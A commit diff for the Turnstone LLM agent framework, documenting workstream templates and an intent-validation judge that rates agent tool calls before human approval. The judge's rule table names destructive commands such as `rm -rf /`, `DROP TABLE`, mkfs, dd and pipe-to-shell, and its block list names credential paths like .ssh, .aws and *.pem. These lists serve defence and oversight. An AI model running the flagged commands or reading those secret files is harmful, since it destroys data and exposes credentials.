chore: bump version to 0.6.0

Workstream templates (#49), intent validation (#50), conversation schema redesign (#51).

README.md

@@ -11,15 +11,18 @@ Named after the [Ruddy Turnstone](https://en.wikipedia.org/wiki/Ruddy_turnstone)
 
 ## What it does
 
-Turnstone gives LLMs tools — shell, files, search, web, planning — and orchestrates multi-turn conversations where the model investigates, acts, and reports. Native deferred tool loading for Anthropic and OpenAI APIs reduces token overhead and improves tool selection accuracy when MCP servers expose many tools; local models (vLLM, llama.cpp) get a transparent client-side BM25 fallback. It runs as:
+Turnstone gives LLMs tools — shell, files, search, web, planning — and orchestrates multi-turn conversations where the model investigates, acts, and reports. It runs as:
 
 - **Interactive sessions** — terminal CLI or browser UI with parallel workstreams
 - **Queue-driven agents** — trigger workstreams via message queue, stream progress, approve or auto-approve tool use
 - **Multi-node clusters** — generic work load-balances across nodes, directed work routes to a specific server
-- **Cluster dashboard** — real-time view of all nodes and workstreams, workstream creation with node targeting, reverse proxy for server UIs (only the console port needs network access)
-- **Governance & compliance** — role-based access control, tool policies, usage tracking, and append-only audit logs
+- **Cluster dashboard** — real-time view of all nodes and workstreams, reverse proxy for server UIs
+- **Intent validation** — an LLM judge evaluates every tool call before approval, presenting risk assessments and evidence-based recommendations so users can make informed decisions instead of blindly approving raw tool calls
+- **Governance & compliance** — RBAC, tool policies, prompt templates, workstream templates, usage tracking, and append-only audit logs
 - **Cluster simulator** — test the stack at scale (up to 1000 nodes) without an LLM backend
 
+Works with any OpenAI-compatible API (vLLM, llama.cpp, NVIDIA NIM) or Anthropic's native Messages API. Supports [MCP](https://modelcontextprotocol.io/) for external tool servers with native deferred tool loading on Anthropic and OpenAI APIs (BM25 fallback for local models).
+
 <p align="center">
   <img src="docs/diagrams/architecture-overview.svg" alt="Turnstone system architecture — data flow from clients through gateways, Redis MQ, cluster nodes, to LLM providers" width="960"/>
 </p>
@@ -104,8 +107,6 @@ turnstone-sim --nodes 100 --scenario steady --duration 60 --mps 10
 
 See [docs/simulator.md](docs/simulator.md) for scenarios, CLI reference, and metrics.
 
-All frontends connect to any OpenAI-compatible API (vLLM, NVIDIA NIM/NGC, llama.cpp, OpenAI, etc.) or Anthropic's native Messages API, and auto-detect the model.
-
 ## Architecture
 
 ### Diagrams
@@ -133,6 +134,8 @@ Detailed UML diagrams are available in [`docs/diagrams/`](docs/diagrams/):
 | [Notify Flow](docs/diagrams/png/17-notify-flow.png) | Channel notification dispatch |
 | [Watch Architecture](docs/diagrams/png/18-watch-architecture.png) | Periodic command polling daemon |
 | [Governance Architecture](docs/diagrams/png/19-governance-architecture.png) | RBAC, policies, audit, usage enforcement flow |
+| [WS Template Architecture](docs/diagrams/png/21-ws-template-architecture.png) | Workstream template application and lifecycle |
+| [Judge Architecture](docs/diagrams/png/22-judge-architecture.png) | Intent validation two-tier evaluation pipeline |
 
 ### Governance
 
@@ -146,6 +149,27 @@ Turnstone includes a built-in governance layer for enterprise deployments — ma
 
 All governance features are managed through the console admin panel (10 tabs) and the full REST API. See [docs/governance.md](docs/governance.md) for setup and configuration.
 
+### Intent Validation (LLM Judge)
+
+Every tool call that requires human approval is evaluated by an intent validation judge that provides a structured risk assessment alongside the approval prompt — so instead of "approve this bash command?", users see a verdict with risk level, confidence, recommendation, and reasoning.
+
+The system uses a two-tier evaluation pipeline:
+
+1. **Heuristic tier** (instant, free) — 23 pattern-based rules classify tool calls by severity. Catches destructive commands (`rm -rf /`, `DROP TABLE`), privilege escalation (`sudo`), credential access, and more. Results appear immediately.
+2. **LLM judge tier** (async) — A full LLM evaluation runs in the background with access to `read_file` and `list_directory` for evidence gathering. The judge can inspect files that a write would overwrite, check directory contents before a delete, and cite specific evidence in its reasoning. Results update the UI progressively when ready.
+
+The judge defaults to the same model as the session (self-consistency) but can be configured to use a separate model — useful when running a small local model for tasks but wanting a commercial model for safety evaluation.
+
+```toml
+[judge]
+enabled = true           # on by default
+model = ""               # empty = same as session model
+provider = ""            # empty = same as session provider
+timeout = 60.0           # generous for local models
+```
+
+Verdicts are persisted for audit and exposed via Prometheus metrics (`turnstone_judge_verdicts_total`, `turnstone_judge_llm_latency_seconds`). See [docs/judge.md](docs/judge.md) for the full guide.
+
 ## Multi-node routing
 
 Each Turnstone server runs a bridge process. Bridges share a Redis instance for coordination:
@@ -311,6 +335,13 @@ path = ".turnstone.db" # SQLite file path (relative to working directory)
 # url = "postgresql+psycopg://user:pass@host:5432/turnstone"  # PostgreSQL
 # pool_size = 5        # PostgreSQL connection pool size
 
+[judge]
+enabled = true         # intent validation for tool approvals (--no-judge to disable)
+model = ""             # empty = same as session model (self-consistency)
+provider = ""          # empty = same as session provider
+timeout = 60.0         # LLM judge timeout in seconds
+confidence_threshold = 0.7
+
 [mcp]
 config_path = ""       # path to MCP JSON config file (alternative to TOML sections)
 refresh_interval = 14400  # periodic refresh for servers without push notifications (seconds, 0 to disable)
@@ -352,6 +383,9 @@ Idle workstreams are automatically cleaned up after 2 hours (configurable). In m
 - `turnstone_backend_up` — LLM backend reachability (0/1)
 - `turnstone_circuit_state` — circuit breaker state (0=closed, 1=open, 2=half_open)
 - `turnstone_workstreams_evicted_total` — workstreams auto-evicted at capacity
+- `turnstone_judge_verdicts_total{tier,risk_level}` — intent validation verdicts by tier and risk
+- `turnstone_judge_llm_latency_seconds` — LLM judge evaluation latency histogram
+- `turnstone_judge_enabled` — whether the intent validation judge is active (0/1)
 
 Per-workstream metrics are labeled by `ws_id` (bounded to 10 max workstreams).
 

docs/api-reference.md

@@ -456,6 +456,50 @@ assistant message with whatever partial content was streamed.
 {"type": "cancelled"}
 ```
 
+**`intent_verdict`** -- delivered asynchronously when the LLM judge completes
+its evaluation of a pending tool call. Only sent when intent validation is
+enabled (`--judge` or `[judge] enabled = true`). The `call_id` correlates with
+the item in the preceding `approve_request` event.
+
+```json
+{
+  "type": "intent_verdict",
+  "verdict_id": "f7e8d9c0b1a2",
+  "call_id": "call_abc123",
+  "func_name": "bash",
+  "intent_summary": "Install Express.js web framework via npm",
+  "risk_level": "medium",
+  "confidence": 0.85,
+  "recommendation": "review",
+  "reasoning": "The command installs express from npm. This is a well-known package but will modify node_modules and package.json.",
+  "evidence": ["Checked package.json -- express is not currently a dependency"],
+  "tier": "llm",
+  "judge_model": "gpt-5",
+  "latency_ms": 2340
+}
+```
+
+| Field            | Type       | Description                                            |
+|------------------|------------|--------------------------------------------------------|
+| `verdict_id`     | string     | Unique verdict identifier                              |
+| `call_id`        | string     | Tool call ID (matches `approve_request` item)          |
+| `func_name`      | string     | Tool function name                                     |
+| `intent_summary` | string     | One-sentence description of the tool call's intent     |
+| `risk_level`     | string     | `"low"`, `"medium"`, `"high"`, or `"critical"`         |
+| `confidence`     | float      | 0.0--1.0 confidence in the assessment                  |
+| `recommendation` | string     | `"approve"`, `"review"`, or `"deny"`                   |
+| `reasoning`      | string     | Evidence-based explanation                             |
+| `evidence`       | list       | Supporting evidence (file excerpts, rule names)        |
+| `tier`           | string     | Always `"llm"` for this event                          |
+| `judge_model`    | string     | Model that produced the verdict                        |
+| `latency_ms`     | int        | Evaluation time in milliseconds                        |
+
+When intent validation is active, the `approve_request` event is also extended:
+each item in `items` gains a `verdict` field containing the heuristic verdict
+(same schema as above but with `tier: "heuristic"`), and the event gains a
+top-level `judge_pending` boolean indicating whether an LLM verdict is in
+flight.
+
 #### Keepalive
 
 The server sends an SSE comment every 5 seconds when no events are pending:
@@ -765,6 +809,9 @@ All fields are optional. The body can be empty or an empty JSON object.
 | `auto_approve`   | bool   | false   | Auto-approve all tool calls for this workstream                |
 | `resume_ws`      | string | ""      | Workstream ID to resume atomically during creation (empty = fresh)|
 | `template`       | string | ""      | Prompt template name (replaces default templates; 400 if not found)|
+| `ws_template`    | string | ""      | Workstream template name. Applies model, temperature, reasoning effort, max tokens, auto-approve policy, and token budget. Returns 400 if not found or disabled. |
+
+> **Template precedence:** When `ws_template` is specified, its model override takes effect before workstream creation. Both `template` (prompt template) and `ws_template` (workstream template) can be used together — `ws_template` controls the behavioral profile while `template` sets the system message text. If `ws_template` defines its own system prompt or prompt template reference, that takes precedence over the `template` parameter.
 
 **Response (success):**
 
@@ -893,6 +940,52 @@ Status code: `403`
 
 ---
 
+### `GET /v1/api/admin/verdicts` (Console)
+
+List intent validation verdicts from the `intent_verdicts` table. This endpoint
+is on the **console** server and requires the `admin.judge` permission.
+
+**Query parameters:**
+
+| Parameter    | Type   | Required | Description                                        |
+|--------------|--------|----------|----------------------------------------------------|
+| `ws_id`      | string | no       | Filter by workstream ID                            |
+| `since`      | string | no       | ISO timestamp lower bound                          |
+| `until`      | string | no       | ISO timestamp upper bound                          |
+| `risk_level` | string | no       | Filter by risk level (`low`/`medium`/`high`/`critical`) |
+| `limit`      | int    | no       | Max results (default 100, max 500)                 |
+| `offset`     | int    | no       | Pagination offset (default 0)                      |
+
+**Response:**
+
+```json
+{
+  "verdicts": [
+    {
+      "verdict_id": "a1b2c3d4e5f6",
+      "ws_id": "ws-1",
+      "call_id": "call_abc123",
+      "func_name": "bash",
+      "func_args": "{\"command\": \"npm install express\"}",
+      "intent_summary": "Package installation: npm install express",
+      "risk_level": "medium",
+      "confidence": 0.70,
+      "recommendation": "review",
+      "reasoning": "Command installs a software package which may modify the environment.",
+      "evidence": "[\"Matched rule: package-install\"]",
+      "tier": "heuristic",
+      "judge_model": "",
+      "latency_ms": 0,
+      "user_decision": "approved",
+      "created": "2026-03-13T10:00:00"
+    }
+  ],
+  "total": 42
+}
+```
+
+---
+
 ### `OPTIONS` (any path)
 
 Handles CORS preflight requests.

docs/architecture.md

@@ -45,6 +45,7 @@ turnstone/
     mcp_client.py     MCPClientManager — MCP server connections, tool discovery, dynamic refresh, async-sync bridge
     tool_search.py    Dynamic tool search — BM25 index, session-scoped tool visibility
     watch.py          WatchRunner daemon — periodic command polling, condition DSL, result dispatch
+    judge.py          Intent validation — heuristic rules + LLM judge, advisory verdicts
     model_registry.py ModelRegistry — named model configs, lazy client creation, fallback routing
     memory.py         Persistence facade (delegates to storage backend)
     storage/          Pluggable storage: StorageBackend protocol, SQLite + PostgreSQL
@@ -663,7 +664,8 @@ supports_vision = true
 
 **Per-workstream selection:** `POST /v1/api/workstreams/new` accepts an optional
 `"model"` field. The bridge `CreateWorkstreamMessage` carries the same field
-through the MQ protocol.
+through the MQ protocol, along with `ws_template` (workstream template name)
+which can override the model before workstream creation.
 
 ### Tool Output Truncation
 
@@ -1237,7 +1239,11 @@ The console has two write-path capabilities:
 1. **Workstream creation** — pushes `CreateWorkstreamMessage` to Redis inbound
    queues targeting specific nodes. The bridge on each node picks up the message
    and creates the workstream on the local server. Auto-selects the node with
-   the most available capacity if no target is specified.
+   the most available capacity if no target is specified. When a `ws_template`
+   field is present, the server resolves the template BEFORE `mgr.create()`
+   (applying the model override to the creation request) and snapshot-applies
+   remaining settings (auto-approve, token budget, temperature, etc.) to the
+   workstream config AFTER creation.
 
 2. **Reverse proxy** — serves each node's server UI through the console port at
    `/node/{node_id}/`. Uses `httpx.AsyncClient` to proxy HTTP and SSE traffic.
@@ -1374,6 +1380,47 @@ Prompt templates provide reusable system messages with `{{variable}}`
 substitution. Usage events are recorded per-LLM-request for token
 accounting. An append-only audit log captures all admin mutations.
 
-The console admin panel adds 5 governance tabs (Roles, Policies, Templates,
-Usage, Audit) for a total of 10 tabs, all permission-gated. Both Python
-and TypeScript SDKs expose governance methods on the console client.
+Workstream templates build on top of prompt templates as complete behavioral
+profiles applied at workstream creation. While prompt templates inject system
+message text, workstream templates define model, temperature, reasoning effort,
+max tokens, auto-approve policy, token budget, and agent max turns. Templates
+are snapshot-applied once at creation — not a live binding. The
+`workstream_templates` table (migration 011) supports auto-versioning, and
+workstreams record which template and version spawned them. Token budget
+enforcement tracks consumption in `session.send()` with 80% warning and
+100% approval gate via the `__budget_override__` synthetic tool name.
+
+The console admin panel adds 6 governance tabs (Roles, Policies, Templates,
+WS Templates, Usage, Audit) for a total of 11 tabs, all permission-gated.
+Both Python and TypeScript SDKs expose governance methods on the console
+client.
+
+## Intent Validation
+
+> See also: [Intent Validation guide](judge.md) | [Judge Architecture diagram](diagrams/png/22-judge-architecture.png)
+
+Intent validation provides advisory risk assessments for tool calls that
+require human approval. The system runs a two-tier evaluation pipeline
+implemented in `turnstone/core/judge.py`:
+
+1. **Heuristic tier** (synchronous, sub-millisecond) -- A priority-ordered
+   rule table using fnmatch tool patterns and regex argument patterns. Four
+   severity levels: critical (deny), high (review), medium (review), low
+   (approve). First match wins. The heuristic verdict is attached to the
+   `approve_request` SSE event immediately.
+
+2. **LLM judge tier** (asynchronous, daemon thread) -- A multi-turn evaluation
+   where the judge LLM receives conversation context and tool call details,
+   optionally uses `read_file`/`list_directory` to gather evidence (with
+   security-hardened path blocking), and produces a structured JSON verdict.
+   If the LLM verdict has higher confidence than the heuristic, it replaces
+   it via an `intent_verdict` SSE event.
+
+The judge is session-scoped (`IntentJudge`), lazy-initialized on first
+approval, and configured via the `[judge]` config section or `--judge` CLI
+flags. By default it uses self-consistency (same model), but supports
+cross-model and cross-provider configurations. Sub-agents (plan, task)
+are exempt. All verdicts are persisted to the `intent_verdicts` table
+(migration 012) with the user's final decision, enabling future calibration.
+The console exposes `GET /v1/api/admin/verdicts` for audit queries
+(requires `admin.judge` permission).

docs/console.md

@@ -306,6 +306,18 @@ Revoke a specific API token.
 
 These endpoints manage the `channel_users` table mappings that connect external platform identities (e.g. Discord user IDs) to turnstone users. See [Channel Integrations](channels.md) for details on the linking flow.
 
+### Workstream Templates
+
+| Method | Path | Description |
+|--------|------|-------------|
+| GET | `/v1/api/admin/ws-templates` | List all workstream templates |
+| POST | `/v1/api/admin/ws-templates` | Create a workstream template |
+| GET | `/v1/api/admin/ws-templates/{id}` | Get a single workstream template |
+| PUT | `/v1/api/admin/ws-templates/{id}` | Update (auto-versions, audit logged) |
+| DELETE | `/v1/api/admin/ws-templates/{id}` | Delete + cascade versions (audit logged) |
+| GET | `/v1/api/admin/ws-templates/{id}/versions` | Version history |
+| GET | `/v1/api/ws-templates` | Enabled templates summary (name, description, model) — requires write scope, not admin |
+
 #### `GET /v1/api/auth/status`
 
 Public endpoint for login UI state detection. Returns auth configuration, not
@@ -395,6 +407,7 @@ Breadcrumb: `Cluster > Running` or `Cluster > db-west-04`. Server-side paginated
 Triggered by the "+ new" header button. A modal dialog with:
 
 - **Node selector** — dropdown with three targeting modes: "Auto (best available)" picks the node with the most headroom, "General pool (any node)" pushes to the shared queue for any bridge to pick up, or a specific node from the list (showing capacity).
+- **Profile** — optional dropdown listing enabled workstream templates. Applies the template's model, auto-approve policy, token budget, and other behavioral settings at creation time.
 - **Name** — optional text input. Auto-generated if left empty.
 - **Model** — optional text input for a model alias from the target node's registry.
 
@@ -407,8 +420,9 @@ The browser maintains a local `clusterState` object that mirrors the cluster sna
 ### 5. Admin Panel
 
 Accessed via the "admin" button in the header (visible when authenticated
-with `approve` scope). Provides user, API token, and channel link management
-with three tabs:
+with `approve` scope). Provides user, API token, channel link, and workstream
+template management with 11 tabs (see also [Governance](governance.md) for
+the Roles, Policies, Templates, WS Templates, Usage, and Audit tabs):
 
 **Users tab:**
 

docs/diagrams/06-mq-protocol.puml

@@ -59,6 +59,8 @@ package "Inbound Messages (Client → Bridge)" #FFF3E0 {
         + auto_approve_tools: list[str] = []
         + target_node: str = ""
         + initial_message: str = ""
+        + template: str = ""
+        + ws_template: str = ""
     }
 
     class CloseWorkstreamMessage {

docs/diagrams/14-storage-architecture.puml

@@ -64,11 +64,14 @@ class "_schema.py" as Schema <<schema>> {
     +metadata: MetaData
     +memories: Table
     +conversations: Table
-    +workstreams: Table (node_id, alias, title, state)
+    +workstreams: Table (node_id, alias, title,\n    state, ws_template_id, ws_template_version)
     +workstream_config: Table
     +users: Table (username, password_hash)
     +api_tokens: Table (token_hash, scopes)
     +channel_users: Table (channel_type)
+    +workstream_templates: Table (name, model,\n    system_prompt, token_budget, version)
+    +workstream_template_versions: Table\n    (template_id, version, snapshot)
+    +scheduled_tasks: Table (..., ws_template)
     --
     SQLAlchemy Core
     Single source of truth

docs/diagrams/19-governance-architecture.puml

@@ -26,6 +26,8 @@ package "Governance Storage" {
   database "prompt_templates" as pt_db
   database "usage_events" as ue_db
   database "audit_events" as ae_db
+  database "workstream_templates" as wt_db
+  database "workstream_template_versions" as wtv_db
 }
 
 package "Runtime Enforcement" {
@@ -42,6 +44,13 @@ package "Template Runtime" {
   [set_template() / /template] as tset
 }
 
+package "WS Template Runtime" {
+  [resolve_ws_template()] as wtr
+  [apply settings\n(model, budget, prompt)] as wta
+  [drift detection\n(prompt_template_hash)] as wtd
+  [budget gate\n(session.send)] as wtb
+}
+
 package "Console UI" {
   [Admin Panel\n10 tabs] as ui
   [governance.js] as govjs
@@ -76,6 +85,14 @@ tload --> trender : template content
 trender --> tsys : rendered content
 tset --> tload : name or None
 
+govjs --> wt_db : /v1/api/admin/ws-templates
+wtr --> wt_db : get_ws_template_by_name()
+wtr --> wta : template settings
+wta --> pt_db : prompt_template lookup
+wtd --> wt_db : compare hash
+wtb --> approve : __budget_override__
+wtv_db <.. wt_db : version snapshots
+
 auth -[hidden]-> mw
 mw -[hidden]-> approve
 @enduml

docs/diagrams/21-ws-template-architecture.puml

@@ -0,0 +1,161 @@
+@startuml
+!theme plain
+title Turnstone — Workstream Template Architecture
+
+skinparam participant {
+    BackgroundColor<<admin>> #E8EAF6
+    BackgroundColor<<server>> #FFE0B2
+    BackgroundColor<<session>> #C8E6C9
+    BackgroundColor<<storage>> #B3E5FC
+    BackgroundColor<<integration>> #F3E5F5
+}
+
+participant "Admin / Console UI\n(governance.js)" as Admin <<admin>>
+participant "Server\n(server.py)" as Server <<server>>
+participant "ChatSession\n(session.py)" as Session <<session>>
+participant "StorageBackend\n(SQLite)" as Storage <<storage>>
+participant "Integration Points\n(scheduler, channel,\nbridge, MQ)" as Integrations <<integration>>
+
+== Admin CRUD ==
+
+Admin -> Server : POST /v1/api/admin/ws-templates
+note right
+  **Payload:**
+  name, model, system_prompt,
+  temperature, reasoning_effort,
+  max_tokens, agent_max_turns,
+  auto_approve, auto_approve_tools,
+  token_budget, prompt_template,
+  prompt_template_hash, notify_on_complete
+end note
+
+Server -> Storage : create_ws_template()
+Storage --> Server : ws_template_id
+
+Admin -> Server : PUT /v1/api/admin/ws-templates/{id}
+Server -> Storage : get_ws_template(id)\n(snapshot pre-update state)
+Storage --> Server : existing template
+Server -> Storage : create_ws_template_version()\n(version snapshot)
+Server -> Storage : update_ws_template(id, ...)
+note right
+  **Versioning:**
+  Each update snapshots
+  pre-update state into
+  workstream_template_versions.
+  version counter increments.
+end note
+
+Admin -> Server : GET /v1/api/admin/ws-templates
+Server -> Storage : list_ws_templates()
+
+Admin -> Server : DELETE /v1/api/admin/ws-templates/{id}
+Server -> Storage : delete_ws_template(id)
+
+== Workstream Creation Flow ==
+
+Integrations -> Server : CreateWorkstreamMessage\n(ws_template="production-agent")
+note right
+  **Sources:**
+  - Console UI (Profile dropdown)
+  - Scheduler (ws_template field)
+  - Channel Router (ws_template)
+  - Bridge (ws_template forwarding)
+  - MQ Client (ws_template)
+end note
+
+Server -> Storage : get_ws_template_by_name("production-agent")
+Storage --> Server : template dict
+
+Server -> Server : resolve_ws_template()\napply model override
+note right
+  **Settings applied:**
+  - model (overrides default)
+  - system_prompt
+  - temperature
+  - reasoning_effort
+  - max_tokens
+  - agent_max_turns
+  - auto_approve / auto_approve_tools
+  - token_budget
+  - tool_search config
+end note
+
+Server -> Session : mgr.create(model=template.model, ...)
+Session -> Session : _init_system_messages()
+
+alt template has prompt_template
+    Session -> Storage : get_prompt_template_by_name()
+    Session -> Session : _render_template()\n{{model}}, {{ws_id}}, {{node_id}}
+end
+
+Session -> Storage : _save_config()\n+ ws_template_id, ws_template_version
+
+== Drift Detection ==
+
+Server -> Server : compute prompt_template_hash\n(at creation time)
+note right
+  **Hash stored:**
+  SHA-256 of prompt_template
+  content at ws creation time.
+  Compared at next creation
+  to detect upstream changes.
+end note
+
+Server -> Storage : update_workstream()\n(store prompt_template_hash)
+
+... later, new workstream created ...
+
+Server -> Storage : get_ws_template()
+Server -> Server : compare hash vs\ncurrent prompt_template content
+alt hash mismatch
+    Server -> Server : log.warning(\n"prompt template drift detected")
+end
+
+== Token Budget Enforcement ==
+
+Session -> Session : send(message)
+Session -> Session : _check_budget_gate()
+note right
+  **Budget gate:**
+  if token_budget set:
+    total = prompt_tokens + completion_tokens
+    if total >= token_budget:
+      block further sends
+end note
+
+alt budget exceeded
+    Session -> Session : approve_tools(\n__budget_override__)
+    note right
+      Model can request
+      budget override via
+      special approval label.
+      User must approve.
+    end note
+else within budget
+    Session -> Session : continue normal flow
+end
+
+== Storage Schema ==
+
+note over Storage
+  **workstream_templates**
+  id, name (unique), model, system_prompt,
+  temperature, reasoning_effort, max_tokens,
+  agent_max_turns, auto_approve, auto_approve_tools,
+  token_budget, prompt_template, prompt_template_hash,
+  tool_search, tool_search_threshold, tool_search_max_results,
+  version, created_at, updated_at
+
+  **workstream_template_versions**
+  id, template_id (FK), version, snapshot (JSON),
+  created_at
+
+  **workstreams** (updated columns)
+  + ws_template_id: str | None
+  + ws_template_version: int | None
+
+  **scheduled_tasks** (updated column)
+  + ws_template: str | None
+end note
+
+@enduml

docs/diagrams/22-judge-architecture.puml

@@ -0,0 +1,160 @@
+@startuml
+!theme plain
+title Turnstone — Intent Validation (Judge) Architecture
+
+skinparam participant {
+    BackgroundColor<<session>> #C8E6C9
+    BackgroundColor<<judge>> #FFE0B2
+    BackgroundColor<<storage>> #B3E5FC
+    BackgroundColor<<ui>> #E8EAF6
+    BackgroundColor<<fs>> #F5F5F5
+}
+
+participant "ChatSession\n(session.py)" as Session <<session>>
+participant "IntentJudge\n(judge.py)" as Judge <<judge>>
+participant "LLM Provider\n(provider)" as LLM <<judge>>
+participant "StorageBackend\n(SQLite)" as Storage <<storage>>
+participant "WebUI / SSE\n(server.py)" as UI <<ui>>
+participant "Filesystem" as FS <<fs>>
+
+== Tool Call Requires Approval ==
+
+Session -> Session : _prepare_tool_calls()
+note right
+  Tool calls parsed from
+  LLM response. Auto-approved
+  tools dispatched immediately.
+  Remaining items need approval.
+end note
+
+Session -> Session : _evaluate_intent(pending_items)
+
+== Tier 1: Heuristic (synchronous, sub-ms) ==
+
+Session -> Judge : evaluate(items, messages, callback)
+
+Judge -> Judge : evaluate_heuristic()\nfor each item
+note right
+  **Rule table (first match wins):**
+  Critical (0.90, deny): rm /, mkfs,
+    dd, pipe-to-shell, chmod 777 /,
+    write/edit /etc/ .ssh/
+  High (0.80, review): sudo, kill -9,
+    destructive git, DROP TABLE,
+    secrets, HTTP mutations, ssh/scp
+  Medium (0.70, review): pip/npm install,
+    write_file, MCP tools, docker ops
+  Low (0.85, approve): read_file,
+    list_directory, search, recall,
+    read-only bash (ls, cat, grep...)
+  Default: medium, 0.50, review
+end note
+
+Judge --> Session : heuristic_verdicts[]
+
+Session -> Session : attach _heuristic_verdict\nto each pending item
+
+Session -> UI : SSE: approve_request\n{items: [{verdict: ...}],\n judge_pending: true}
+note right
+  Heuristic verdict displayed
+  immediately as risk badge.
+  Spinner shown while LLM
+  judge evaluates.
+end note
+
+Session -> Storage : create_intent_verdict()\nfor each heuristic verdict
+
+== Tier 2: LLM Judge (daemon thread, async) ==
+
+Judge -> Judge : spawn daemon thread\n"intent-judge"
+
+note over Judge, LLM
+  **Context preparation:**
+  1. FIFO-truncate conversation history
+     to max_context_ratio of context window
+  2. Append tool call details as user message
+  3. System prompt defines judge role + JSON schema
+end note
+
+loop up to 3 turns (timeout budget)
+
+    Judge -> LLM : create_completion(\nmodel, judge_messages,\ntools=[read_file, list_directory])
+    LLM --> Judge : CompletionResult
+
+    alt tool_calls present (turn < 3)
+        Judge -> Judge : _exec_read_only_tool()
+        note right
+          **Security hardening:**
+          Blocked: /etc/, /root/,
+          /proc/, /sys/, /dev/,
+          .ssh, .gnupg, .aws,
+          *.pem, *.key, *.p12
+          File cap: 32KB
+          Dir cap: 200 entries
+        end note
+        Judge -> FS : read_file / list_directory
+        FS --> Judge : file contents
+        Judge -> Judge : append tool result\nto judge_messages
+    else text response (final verdict)
+        Judge -> Judge : _parse_verdict()
+        note right
+          **4-stage JSON parsing:**
+          1. Direct JSON.loads
+          2. Markdown code block
+          3. Brace-counting
+          4. Regex field extraction
+        end note
+    end
+
+end
+
+== Tier 3: Arbitration ==
+
+Judge -> Judge : compare confidence:\nLLM vs heuristic
+note right
+  Only deliver LLM verdict
+  if confidence > heuristic.
+  Otherwise heuristic stands.
+end note
+
+alt LLM confidence > heuristic confidence
+    Judge -> Session : callback(llm_verdict)
+    Session -> UI : SSE: intent_verdict\n{tier: "llm", ...}
+    note right
+      UI replaces heuristic badge
+      with LLM verdict. Spinner
+      resolves to final assessment.
+    end note
+    Session -> Storage : create_intent_verdict()\nfor LLM verdict
+end
+
+== User Decision ==
+
+UI -> Session : resolve_approval(\napproved, feedback)
+
+Session -> Storage : update_intent_verdict(\nverdict_id, user_decision)
+note right
+  All tracked verdicts
+  (heuristic + LLM) updated
+  with "approved" or "denied".
+  Swap-and-clear avoids racing
+  with daemon judge thread.
+end note
+
+== Lifecycle ==
+
+note over Session, Judge
+  **Lazy initialization:**
+  IntentJudge created on first approval if judge_config.enabled.
+  Re-uses session's provider/client by default (self-consistency).
+  Cross-model: separate provider/client from [judge] config.
+
+  **Sub-agent exemption:**
+  Plan agent and task agent skip intent validation entirely.
+
+  **Storage:**
+  intent_verdicts table (migration 012). Verdicts queryable via
+  GET /v1/api/admin/verdicts (requires admin.judge permission).
+end note
+
+@enduml

docs/diagrams/png/06-mq-protocol.png

@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:d17f3feacf7bc9f64dfea19464143bc9b6ef0da5d55e6d57c0bc5a73d5724eba
-size 184466
+oid sha256:2229801220548e4794baa67e27a0a39dc7968c826a28fa8144763e678c8ed733
+size 192556

docs/diagrams/png/14-storage-architecture.png

@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:5faa5335152685cf1c8bf77ed93847d751cde59e1afed651e5991113f2f0f31b
-size 242670
+oid sha256:fb5e7c221f6b1ee1082b37da32e65c45b5e468014cf6881a210e5b4d8a8dca8b
+size 255736

docs/diagrams/png/19-governance-architecture.png

@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:a889d4bb84c4afa3c822c3acb7021395a9463462f7aeae5382e583b783412814
-size 144960
+oid sha256:f4dac4948d928b4705936d73b4d159aa1e89315ec0397616ca914bbf19e7a1ce
+size 206479

docs/diagrams/png/21-ws-template-architecture.png

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c06d7086d7965eb9fe333396f027133d42507cf120bfe8dc851c009a8768ec48
+size 284926

docs/diagrams/png/22-judge-architecture.png

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:feb31b9d05ea56544053ad00457c389acba977c07ecc08870960e6e0ca64aa11
+size 279971

docs/governance.md

@@ -79,6 +79,32 @@ Admin-curated system message templates injected at workstream startup:
   prevent compromised servers from injecting defaults. Admin UI shows origin badge
   and disables edit/delete for MCP-sourced templates.
 
+### Workstream Templates
+
+Workstream templates are behavioral profiles applied at workstream creation — the next level beyond prompt templates. While prompt templates inject system message text, workstream templates define the complete workstream configuration.
+
+**What they define:**
+- System prompt (inline text OR reference to a prompt template by name)
+- Model override (empty = server default)
+- Temperature, reasoning effort, max tokens, agent max turns
+- Auto-approve policy (blanket and/or per-tool list)
+- Token budget (0 = unlimited; warns at 80%, requires approval at 100%)
+- Completion notification config (stored for v2 dispatch)
+
+**Storage:** `workstream_templates` table (migration 011) with auto-versioning. Edits snapshot the pre-update state into `workstream_template_versions`. Workstreams record which template and version spawned them via `ws_template_id` + `ws_template_version` columns.
+
+**Applied once at creation:** Template settings are snapshot-applied to the workstream's config. Not a live binding — template updates don't affect running workstreams.
+
+**Prompt template drift detection:** When a workstream template references a prompt template, a SHA-256 hash of the prompt content is stored at ws_template create/update time. At workstream creation, the server compares the stored hash against current content and logs a warning on mismatch.
+
+**Admin API:** 7 endpoints under `/v1/api/admin/ws-templates` (list, create, get, update, delete, version history) plus a read-only summary at `/v1/api/ws-templates`. Permission: `admin.ws_templates`.
+
+**Console UI:** "WS Templates" tab (11th admin tab) with CRUD table, create/edit modals (name, description, system prompt source toggle, model, auto-approve, per-tool auto-approve, temperature, reasoning effort, max tokens, agent max turns, token budget, enabled), and version history modal. "Profile" dropdown on workstream creation modal. "WS Template" dropdown on scheduler create/edit modals.
+
+**Token budget enforcement:** Tracked in `session.send()`. At 80% consumption, emits an info message. At 100%, the next turn requires explicit approval via the `__budget_override__` synthetic tool name (reuses existing approval UI — inline in browser, Discord buttons, bridge auto-approve). The synthetic name can be targeted by tool policies (e.g. `__budget_override__` → `allow` for admins).
+
+**SDK:** Python (`list_ws_templates`, `create_ws_template`, `get_ws_template`, `update_ws_template`, `delete_ws_template`, `list_ws_template_versions`) and TypeScript (`listWsTemplates`, `createWsTemplate`, etc.) on both sync and async console clients. `ws_template` parameter on `create_workstream()` for both server and console SDKs.
+
 ### Usage Tracking
 
 Per-LLM-request token and tool call metrics:
@@ -99,7 +125,8 @@ Append-only trail of admin actions:
 - **Events captured**: user.create, user.delete, token.create, token.revoke,
   channel.link, channel.unlink, role.create, role.update, role.delete,
   role.assign, role.unassign, policy.create, policy.update, policy.delete,
-  template.create, template.update, template.delete, org.update
+  template.create, template.update, template.delete,
+  ws_template.create, ws_template.update, ws_template.delete, org.update
